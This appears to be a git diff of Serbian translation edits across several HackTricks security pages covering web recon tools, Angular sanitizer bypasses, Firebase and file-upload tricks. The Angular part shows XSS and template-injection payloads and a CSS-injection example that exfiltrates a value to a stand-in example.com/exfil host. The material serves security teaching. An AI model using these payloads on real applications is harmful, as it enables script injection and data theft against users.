- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Otkrijte linkove iz wayback mašine (takođe preuzimajući odgovore u wayback-u i tražeći više linkova).
|
||||
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawling (čak i popunjavanjem obrazaca) i takođe pronalaženje osetljivih informacija koristeći specifične regex-e.
|
||||
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite je napredni GUI web sigurnosni crawler/spider dizajniran za profesionalce u sajber bezbednosti.
|
||||
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): To je Go paket i [alat komandne linije](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) za ekstrakciju URL-ova, putanja, tajni i drugih zanimljivih podataka iz JavaScript izvornog koda.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite ekstenzija** za **ekstrakciju parametara i krajnjih tačaka** iz zahteva za kreiranje prilagođene rečnika za fuzzing i enumeraciju.
|
||||
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge je jednostavna **Burp Suite ekstenzija** za **ekstrakciju parametara i krajnjih tačaka** iz zahteva kako bi se kreirala prilagođena rečnik za fuzzing i enumeraciju.
|
||||
- [**katana**](https://github.com/projectdiscovery/katana) (go): Sjajan alat za ovo.
|
||||
- [**Crawley**](https://github.com/s0rg/crawley) (go): Ispiši svaki link koji može pronaći.
|
||||
|
||||
@ -264,7 +264,7 @@ Alati:
|
||||
- _/usr/share/wordlists/dirb/big.txt_
|
||||
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
|
||||
|
||||
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga ili spideringa, treba ga Brute-Forcovati._
|
||||
_Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcing-a ili spidering-a, treba ga Brute-Forcovati._
|
||||
|
||||
### Šta proveriti na svakoj pronađenoj datoteci
|
||||
|
||||
@ -276,29 +276,29 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga il
|
||||
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
|
||||
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
|
||||
- **Komentari:** Proverite komentare svih datoteka, možete pronaći **akreditive** ili **skrivenu funkcionalnost**.
|
||||
- Ako se igrate **CTF**, "uobičajena" trik je da **sakrijete** **informacije** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da koristite **nekoliko novih redova** i **sakrijete informacije** u komentaru na **dnu** web stranice.
|
||||
- Ako se igrate **CTF**, "uobičajena" trik je da se **sakrije** **informacija** unutar komentara na **desnoj** strani **stranice** (koristeći **stotine** **razmaka** tako da ne vidite podatke ako otvorite izvorni kod u pretraživaču). Druga mogućnost je da se koriste **several new lines** i **sakriju informacije** u komentaru na **dnu** web stranice.
|
||||
- **API ključevi**: Ako **pronađete bilo koji API ključ** postoji vodič koji ukazuje kako koristiti API ključeve različitih platformi: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
|
||||
- Google API ključevi: Ako pronađete bilo koji API ključ koji izgleda kao **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik možete koristiti projekat [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) da proverite koje API-jeve ključ može pristupiti.
|
||||
- **S3 Buckets**: Tokom spideringa proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/index.html).
|
||||
- **S3 Buckets**: Tokom spidering-a proverite da li je neki **subdomen** ili neki **link** povezan sa nekim **S3 bucket-om**. U tom slučaju, [**proverite** **dozvole** bucket-a](buckets/index.html).
|
||||
|
||||
### Posebna otkrića
|
||||
|
||||
**Tokom** izvođenja **spideringa** i **brute-forcinga** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**.
|
||||
**Tokom** izvođenja **spidering-a** i **brute-forcing-a** mogli biste pronaći **zanimljive** **stvari** koje treba da **primetite**.
|
||||
|
||||
**Zanimljive datoteke**
|
||||
|
||||
- Potražite **linkove** ka drugim datotekama unutar **CSS** datoteka.
|
||||
- [Ako pronađete _**.git**_ datoteku, neke informacije mogu biti ekstraktovane](git.md)
|
||||
- Ako pronađete _**.env**_ informacije kao što su api ključevi, lozinke za baze podataka i druge informacije mogu se pronaći.
|
||||
- Ako pronađete **API krajnje tačke** [takođe ih treba testirati](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
|
||||
- **JS datoteke**: U sekciji spideringa pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li su ranjive.
|
||||
- Ako pronađete **API krajnje tačke** [trebalo bi ih takođe testirati](web-api-pentesting.md). Ove nisu datoteke, ali će verovatno "izgledati kao" njih.
|
||||
- **JS datoteke**: U sekciji spidering pomenuti su nekoliko alata koji mogu ekstraktovati putanju iz JS datoteka. Takođe, bilo bi zanimljivo **pratiti svaku pronađenu JS datoteku**, jer u nekim slučajevima, promena može ukazivati na to da je potencijalna ranjivost uvedena u kod. Možete koristiti, na primer, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- Takođe biste trebali proveriti otkrivene JS datoteke sa [**RetireJS**](https://github.com/retirejs/retire.js/) ili [**JSHole**](https://github.com/callforpapers-source/jshole) da biste saznali da li je ranjiva.
|
||||
- **Javascript Deobfuscator i Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript sa karakterima:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- U nekoliko slučajeva, moraćete da **razumete regularne ekspresije** koje se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Takođe biste mogli **pratiti datoteke u kojima su otkriveni obrasci**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
|
||||
- U nekoliko slučajeva, moraćete da **razumete regularne izraze** koji se koriste. Ovo će biti korisno: [https://regex101.com/](https://regex101.com) ili [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Takođe biste mogli **pratiti datoteke gde su obrasci otkriveni**, jer promena u parametru ili pojava novog obrasca može ukazivati na potencijalnu novu ranjivu funkcionalnost.
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
|
||||
|
||||
@ -308,7 +308,7 @@ _Napomena da svaki put kada se otkrije novi direktorijum tokom brute-forcinga il
|
||||
|
||||
**502 Proxy Error**
|
||||
|
||||
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je u pitanju **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
|
||||
Ako neka stranica **odgovori** sa tim **kodom**, verovatno je to **loše konfigurisani proxy**. **Ako pošaljete HTTP zahtev kao: `GET https://google.com HTTP/1.1`** (sa host header-om i drugim uobičajenim header-ima), **proxy** će pokušati da **pristupi** _**google.com**_ **i pronašli ste** SSRF.
|
||||
|
||||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
@ -318,7 +318,7 @@ Možete **automatizovati** ovo koristeći **nmap plugin** "_http-ntlm-info.nse_"
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Moguće je **staviti sadržaj** unutar **Redirekcije**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti redirekciju), ali nešto bi moglo biti **sakriveno** unutra.
|
||||
Moguće je **staviti sadržaj** unutar **Preusmeravanja**. Ovaj sadržaj **neće biti prikazan korisniku** (jer će pretraživač izvršiti preusmeravanje), ali nešto bi moglo biti **sakriveno** unutra.
|
||||
|
||||
### Proveravanje web ranjivosti
|
||||
|
||||
@ -334,9 +334,9 @@ Pronađite više informacija o web ranjivostima na:
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### Praćenje stranica za promene
|
||||
### Pratite stranice za promene
|
||||
|
||||
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za modifikacije koje bi mogle uvesti ranjivosti.
|
||||
Možete koristiti alate kao što su [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) za praćenje stranica za modifikacije koje bi mogle umetnuti ranjivosti.
|
||||
|
||||
### HackTricks Automatske Komande
|
||||
```
|
||||
|
@ -39,17 +39,17 @@ my-workspace/
|
||||
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
||||
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
||||
```
|
||||
Prema dokumentaciji, svaka Angular aplikacija ima najmanje jednu komponentu, korensku komponentu (`AppComponent`) koja povezuje hijerarhiju komponenti sa DOM-om. Svaka komponenta definiše klasu koja sadrži podatke i logiku aplikacije, i povezana je sa HTML šablonom koji definiše prikaz koji će biti prikazan u ciljanom okruženju. Dekorator `@Component()` identifikuje klasu odmah ispod njega kao komponentu, i pruža šablon i povezane metapodatke specifične za komponentu. `AppComponent` je definisan u datoteci `app.component.ts`.
|
||||
Prema dokumentaciji, svaka Angular aplikacija ima barem jednu komponentu, korensku komponentu (`AppComponent`) koja povezuje hijerarhiju komponenti sa DOM-om. Svaka komponenta definiše klasu koja sadrži podatke i logiku aplikacije, i povezana je sa HTML šablonom koji definiše prikaz koji će biti prikazan u ciljanom okruženju. Dekorator `@Component()` identifikuje klasu odmah ispod njega kao komponentu, i pruža šablon i povezane metapodatke specifične za komponentu. `AppComponent` je definisan u `app.component.ts` datoteci.
|
||||
|
||||
Angular NgModules deklariraju kontekst kompilacije za skup komponenti koji je posvećen domenu aplikacije, radnom toku ili usko povezanoj grupi sposobnosti. Svaka Angular aplikacija ima korenski modul, konvencionalno nazvan `AppModule`, koji pruža mehanizam za pokretanje koji pokreće aplikaciju. Aplikacija obično sadrži mnoge funkcionalne module. `AppModule` je definisan u datoteci `app.module.ts`.
|
||||
Angular NgModules deklariraju kontekst kompilacije za skup komponenti koji je posvećen domenu aplikacije, radnom toku ili usko povezanoj grupi sposobnosti. Svaka Angular aplikacija ima korenski modul, konvencionalno nazvan `AppModule`, koji pruža mehanizam za pokretanje koji pokreće aplikaciju. Aplikacija obično sadrži mnoge funkcionalne module. `AppModule` je definisan u `app.module.ts` datoteci.
|
||||
|
||||
Angular `Router` NgModule pruža uslugu koja vam omogućava da definišete navigacioni put među različitim stanjima aplikacije i hijerarhijama prikaza u vašoj aplikaciji. `RouterModule` je definisan u datoteci `app-routing.module.ts`.
|
||||
Angular `Router` NgModule pruža uslugu koja vam omogućava da definišete navigacioni put među različitim stanjima aplikacije i hijerarhijama prikaza u vašoj aplikaciji. `RouterModule` je definisan u `app-routing.module.ts` datoteci.
|
||||
|
||||
Za podatke ili logiku koja nije povezana sa specifičnim prikazom, a koju želite da delite među komponentama, kreirate klasu usluge. Definicija klase usluge odmah prethodi dekoratoru `@Injectable()`. Dekorator pruža metapodatke koji omogućavaju drugim provajderima da budu injektovani kao zavisnosti u vašu klasu. Injekcija zavisnosti (DI) vam omogućava da zadržite klase komponenti vitkim i efikasnim. One ne preuzimaju podatke sa servera, ne validiraju korisnički unos, niti direktno beleže u konzolu; delegiraju takve zadatke uslugama.
|
||||
Za podatke ili logiku koja nije povezana sa specifičnim prikazom, i koju želite da delite među komponentama, kreirate klasu usluge. Definicija klase usluge odmah prethodi dekoratoru `@Injectable()`. Dekorator pruža metapodatke koji omogućavaju drugim provajderima da budu injektovani kao zavisnosti u vašu klasu. Injekcija zavisnosti (DI) vam omogućava da zadržite klase komponenti vitkim i efikasnim. One ne preuzimaju podatke sa servera, ne validiraju korisnički unos, niti direktno beleže u konzolu; delegiraju takve zadatke uslugama.
|
||||
|
||||
## Konfiguracija sourcemapa
|
||||
|
||||
Angular okvir prevodi TypeScript datoteke u JavaScript kod prateći opcije `tsconfig.json` i zatim gradi projekat sa `angular.json` konfiguracijom. Gledajući datoteku `angular.json`, primetili smo opciju za omogućavanje ili onemogućavanje sourcemapa. Prema Angular dokumentaciji, podrazumevana konfiguracija ima datoteku sourcemapa omogućenu za skripte i nije skrivena po defaultu:
|
||||
Angular okvir prevodi TypeScript datoteke u JavaScript kod prateći `tsconfig.json` opcije i zatim gradi projekat sa `angular.json` konfiguracijom. Gledajući `angular.json` datoteku, primetili smo opciju za omogućavanje ili onemogućavanje sourcemapa. Prema Angular dokumentaciji, podrazumevana konfiguracija ima sourcemap datoteku omogućenu za skripte i nije skrivena po defaultu:
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -58,7 +58,7 @@ Angular okvir prevodi TypeScript datoteke u JavaScript kod prateći opcije `tsco
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
Generalno, sourcemap datoteke se koriste za svrhe debagovanja jer mapiraju generisane datoteke na njihove originalne datoteke. Stoga, nije preporučljivo koristiti ih u produkcionom okruženju. Ako su sourcemaps omogućeni, poboljšava se čitljivost i pomaže u analizi datoteka replicirajući originalno stanje Angular projekta. Međutim, ako su onemogućeni, recenzent može još uvek ručno analizirati kompajliranu JavaScript datoteku pretražujući anti-bezbednosne obrasce.
|
||||
Generalno, sourcemap datoteke se koriste za svrhe debagovanja jer mapiraju generisane datoteke na njihove originalne datoteke. Stoga, nije preporučljivo koristiti ih u produkcionom okruženju. Ako su sourcemaps omogućeni, poboljšava se čitljivost i pomaže u analizi datoteka replicirajući originalno stanje Angular projekta. Međutim, ako su onemogućeni, recenzent može i dalje ručno analizirati kompajliranu JavaScript datoteku pretražujući anti-bezbednosne obrasce.
|
||||
|
||||
Pored toga, kompajlirana JavaScript datoteka sa Angular projektom može se pronaći u alatima za razvoj preglednika → Sources (ili Debugger i Sources) → \[id].main.js. U zavisnosti od omogućenih opcija, ova datoteka može sadržati sledeći red na kraju `//# sourceMappingURL=[id].main.js.map` ili možda neće, ako je opcija **hidden** postavljena na **true**. Ipak, ako je sourcemap onemogućen za **scripts**, testiranje postaje složenije i ne možemo dobiti datoteku. Pored toga, sourcemap može biti omogućen tokom izgradnje projekta kao `ng build --source-map`.
|
||||
|
||||
@ -77,13 +77,13 @@ Binding se može pozvati na svojstvima, događajima i atributima, kao i na bilo
|
||||
| TIP | CILJ | PRIMERI |
|
||||
| --------- | ------------------------------------------------------- | ------------------------------------------------------------------- |
|
||||
| Svojstvo | Svojstvo elementa, Svojstvo komponente, Svojstvo direktive | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Događaj | Događaj elementa, Događaj komponente, Događaj direktive | \<button type="button" (click)="onSave()">Sačuvaj |
|
||||
| Dvosmerno | Događaj i svojstvo | \<input \[(ngModel)]="name"> |
|
||||
| Atribut | Atribut (izuzetak) | \<button type="button" \[attr.aria-label]="help">pomoć |
|
||||
| Klasa | svojstvo klase | \<div \[class.special]="isSpecial">Specijal |
|
||||
| Stil | svojstvo stila | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
| Događaj | Događaj elementa, Događaj komponente, Događaj direktive | \<button type="button" (click)="onSave()">Save |
|
||||
| Dvosmerno | Događaj i svojstvo | \<input \[(ngModel)]="name"> |
|
||||
| Atribut | Atribut (izuzetak) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| Klasa | svojstvo klase | \<div \[class.special]="isSpecial">Special |
|
||||
| Stil | svojstvo stila | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
## Angular sigurnosni model
|
||||
## Angular security model
|
||||
|
||||
Dizajn Angular-a uključuje kodiranje ili sanitizaciju svih podataka po defaultu, čineći sve teže otkrivanje i iskorišćavanje XSS ranjivosti u Angular projektima. Postoje dva različita scenarija za rukovanje podacima:
|
||||
|
||||
@ -110,7 +110,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
Rezultat: `<div><h1>test</h1></div>`
|
||||
|
||||
Postoji 6 tipova `SecurityContext`:
|
||||
Postoji 6 tipova `SecurityContext` :
|
||||
|
||||
* `None`;
|
||||
* `HTML` se koristi kada se tumači vrednost kao HTML;
|
||||
@ -119,25 +119,25 @@ Postoji 6 tipova `SecurityContext`:
|
||||
* `SCRIPT` se koristi za JavaScript kod;
|
||||
* `RESOURCE_URL` kao URL koji se učitava i izvršava kao kod, na primer, u `<script src>`.
|
||||
|
||||
## Ranjivosti
|
||||
## Vulnerabilities
|
||||
|
||||
### Bypass Security Trust metode
|
||||
### Bypass Security Trust methods
|
||||
|
||||
Angular uvodi listu metoda za zaobilaženje svog defaultnog procesa sanitizacije i za označavanje da se vrednost može sigurno koristiti u određenom kontekstu, kao u sledećih pet primera:
|
||||
|
||||
1. `bypassSecurityTrustUrl` se koristi za označavanje da je data vrednost siguran stil URL:
|
||||
1. `bypassSecurityTrustUrl` se koristi za označavanje da je data vrednost sigurna stil URL:
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
|
||||
|
||||
//app.component.html
|
||||
<a class="e2e-trusted-url" [href]="trustedUrl">Klikni me</a>
|
||||
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>
|
||||
|
||||
//rezultat
|
||||
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Klikni me</a>
|
||||
//result
|
||||
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
|
||||
```
|
||||
2. `bypassSecurityTrustResourceUrl` se koristi za označavanje da je data vrednost siguran resurs URL:
|
||||
2. `bypassSecurityTrustResourceUrl` se koristi za označavanje da je data vrednost sigurna resurs URL:
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -146,7 +146,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
|
||||
//app.component.html
|
||||
<iframe [src]="trustedResourceUrl"></iframe>
|
||||
|
||||
//rezultat
|
||||
//result
|
||||
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
|
||||
```
|
||||
3. `bypassSecurityTrustHtml` se koristi za označavanje da je data vrednost siguran HTML. Imajte na umu da umetanje `script` elemenata u DOM stablo na ovaj način neće uzrokovati njihovo izvršavanje zatvorenog JavaScript koda, zbog načina na koji se ovi elementi dodaju u DOM stablo.
|
||||
@ -158,7 +158,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
|
||||
//app.component.html
|
||||
<p style="border:solid" [innerHtml]="trustedHtml"></p>
|
||||
|
||||
//rezultat
|
||||
//result
|
||||
<h1>html tag</h1>
|
||||
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
|
||||
```
|
||||
@ -171,7 +171,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
|
||||
//app.component.html
|
||||
<script [innerHtml]="trustedScript"></script>
|
||||
|
||||
//rezultat
|
||||
//result
|
||||
-
|
||||
```
|
||||
5. `bypassSecurityTrustStyle` se koristi za označavanje da je data vrednost siguran CSS. Sledeći primer ilustruje CSS injekciju:
|
||||
@ -183,13 +183,13 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
|
||||
//app.component.html
|
||||
<input type="password" name="pwd" value="01234" [style]="trustedStyle">
|
||||
|
||||
//rezultat
|
||||
//result
|
||||
Request URL: GET example.com/exfil/a
|
||||
```
|
||||
|
||||
Angular pruža `sanitize` metodu za sanitizaciju podataka pre nego što ih prikaže u prikazima. Ova metoda koristi pruženi sigurnosni kontekst i čisti unos u skladu s tim. Međutim, ključno je koristiti pravi sigurnosni kontekst za specifične podatke i kontekst. Na primer, primena sanitizatora sa `SecurityContext.URL` na HTML sadržaj ne pruža zaštitu od opasnih HTML vrednosti. U takvim scenarijima, zloupotreba sigurnosnog konteksta može dovesti do XSS ranjivosti.
|
||||
Angular pruža metodu `sanitize` za sanitizaciju podataka pre nego što ih prikaže u prikazima. Ova metoda koristi pruženi sigurnosni kontekst i čisti unos u skladu s tim. Međutim, od suštinske je važnosti koristiti ispravan sigurnosni kontekst za specifične podatke i kontekst. Na primer, primena sanitizatora sa `SecurityContext.URL` na HTML sadržaj ne pruža zaštitu od opasnih HTML vrednosti. U takvim scenarijima, zloupotreba sigurnosnog konteksta može dovesti do XSS ranjivosti.
|
||||
|
||||
### HTML injekcija
|
||||
### HTML injection
|
||||
|
||||
Ova ranjivost se javlja kada je korisnički unos povezan sa bilo kojim od tri svojstva: `innerHTML`, `outerHTML`, ili `iframe` `srcdoc`. Dok povezivanje sa ovim atributima tumači HTML onako kako jeste, unos se sanitizuje koristeći `SecurityContext.HTML`. Tako, HTML injekcija je moguća, ali cross-site scripting (XSS) nije.
|
||||
|
||||
@ -218,7 +218,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
|
||||
|
||||
Angular koristi šablone za dinamičko konstruisanje stranica. Ovaj pristup podrazumeva obavijanje izraza šablona koje Angular treba da proceni unutar dvostrukih vitičastih zagrada (`{{}}`). Na ovaj način, okvir nudi dodatnu funkcionalnost. Na primer, šablon kao što je `{{1+1}}` biće prikazan kao 2.
|
||||
|
||||
Obično, Angular izbegava korisnički unos koji se može pomešati sa izrazima šablona (npr., karakteri kao što su \`< > ' " \`\`). To znači da su potrebni dodatni koraci da se zaobiđe ovo ograničenje, kao što je korišćenje funkcija koje generišu JavaScript string objekte kako bi se izbeglo korišćenje zabranjenih karaktera. Međutim, da bismo to postigli, moramo uzeti u obzir Angular kontekst, njegove osobine i promenljive. Stoga, napad ubrizgavanja šablona može izgledati ovako:
|
||||
Obično, Angular escapuje korisnički unos koji se može pomešati sa izrazima šablona (npr. karakteri kao što su \`< > ' " \`\`). To znači da su potrebni dodatni koraci da se zaobiđe ovo ograničenje, kao što je korišćenje funkcija koje generišu JavaScript string objekte kako bi se izbeglo korišćenje zabranjenih karaktera. Međutim, da bismo to postigli, moramo uzeti u obzir Angular kontekst, njegove osobine i promenljive. Stoga, napad ubrizgavanja šablona može izgledati ovako:
|
||||
```jsx
|
||||
//app.component.ts
|
||||
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
|
||||
@ -231,15 +231,15 @@ Kao što je prikazano iznad: `constructor` se odnosi na opseg svojstva Object `c
|
||||
|
||||
#### Server-Side Rendering (SSR)
|
||||
|
||||
Za razliku od CSR, koji se dešava u DOM-u pregledača, Angular Universal je odgovoran za SSR šablonskih fajlova. Ovi fajlovi se zatim isporučuju korisniku. I pored ove razlike, Angular Universal primenjuje iste mehanizme sanitizacije koji se koriste u CSR kako bi poboljšao sigurnost SSR-a. Ranljivost od injekcije šablona u SSR može se uočiti na isti način kao u CSR, jer je korišćeni jezik šablona isti.
|
||||
Za razliku od CSR, koji se dešava u DOM-u pregledača, Angular Universal je odgovoran za SSR šablonskih fajlova. Ovi fajlovi se zatim isporučuju korisniku. I pored ove razlike, Angular Universal primenjuje iste mehanizme sanitizacije koji se koriste u CSR kako bi poboljšao sigurnost SSR-a. Ranljivost injekcije šablona u SSR može se uočiti na isti način kao u CSR, jer je korišćeni jezik šablona isti.
|
||||
|
||||
Naravno, postoji i mogućnost uvođenja novih ranjivosti od injekcije šablona kada se koriste treće strane šablonski motori kao što su Pug i Handlebars.
|
||||
Naravno, postoji i mogućnost uvođenja novih ranjivosti injekcije šablona kada se koriste treće strane šablonski motori kao što su Pug i Handlebars.
|
||||
|
||||
### XSS
|
||||
|
||||
#### DOM interfejsi
|
||||
|
||||
Kao što je prethodno navedeno, možemo direktno pristupiti DOM-u koristeći _Document_ interfejs. Ako korisnički unos nije prethodno validiran, to može dovesti do ranjivosti od cross-site scripting (XSS).
|
||||
Kao što je prethodno navedeno, možemo direktno pristupiti DOM-u koristeći _Document_ interfejs. Ako korisnički unos nije prethodno validiran, to može dovesti do ranjivosti skriptovanja između sajtova (XSS).
|
||||
|
||||
Koristili smo `document.write()` i `document.createElement()` metode u primerima ispod:
|
||||
```jsx
|
||||
@ -371,7 +371,7 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
|
||||
<button (click)="setProperty()">Click me!</button>
|
||||
```
|
||||
|
||||
Tokom našeg istraživanja, takođe smo ispitivali ponašanje drugih `Renderer2` metoda, kao što su `setStyle()`, `createComment()`, i `setValue()`, u vezi sa XSS i CSS injekcijama. Međutim, nismo mogli pronaći validne napadne vektore za ove metode zbog njihovih funkcionalnih ograničenja.
|
||||
Tokom našeg istraživanja, takođe smo ispitivali ponašanje drugih `Renderer2` metoda, kao što su `setStyle()`, `createComment()`, i `setValue()`, u vezi sa XSS i CSS injekcijama. Međutim, nismo mogli pronaći validne napade za ove metode zbog njihovih funkcionalnih ograničenja.
|
||||
|
||||
#### jQuery
|
||||
|
||||
@ -483,7 +483,7 @@ window.location.assign("https://google.com/about")
|
||||
|
||||
Ova metoda zamenjuje trenutni resurs onim na datom URL-u.
|
||||
|
||||
Ovo se razlikuje od `assign()` metode po tome što nakon korišćenja `window.location.replace()`, trenutna stranica neće biti sačuvana u istoriji sesije. Međutim, takođe je moguće iskoristiti ranjivost otvorenog preusmeravanja kada imamo kontrolu nad ovom metodom.
|
||||
Ovo se razlikuje od `assign()` metode po tome što nakon korišćenja `window.location.replace()`, trenutna stranica neće biti sačuvana u sesiji istorije. Međutim, takođe je moguće iskoristiti ranjivost otvorenog preusmeravanja kada imamo kontrolu nad ovom metodom.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Šta je Firebase
|
||||
|
||||
Firebase je Backend-as-a-Service uglavnom za mobilne aplikacije. Fokusira se na uklanjanje tereta programiranja back-end-a pružajući lep SDK kao i mnoge druge zanimljive stvari koje olakšavaju interakciju između aplikacije i back-end-a.
|
||||
Firebase je Backend-as-a-Service prvenstveno za mobilne aplikacije. Fokusira se na uklanjanje tereta programiranja back-end-a pružajući lep SDK kao i mnoge druge zanimljive stvari koje olakšavaju interakciju između aplikacije i back-end-a.
|
||||
|
||||
Saznajte više o Firebase-u na:
|
||||
|
||||
|
@ -51,7 +51,7 @@ Other useful extensions:
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ab4Ab5Ab6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ab7Ab8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
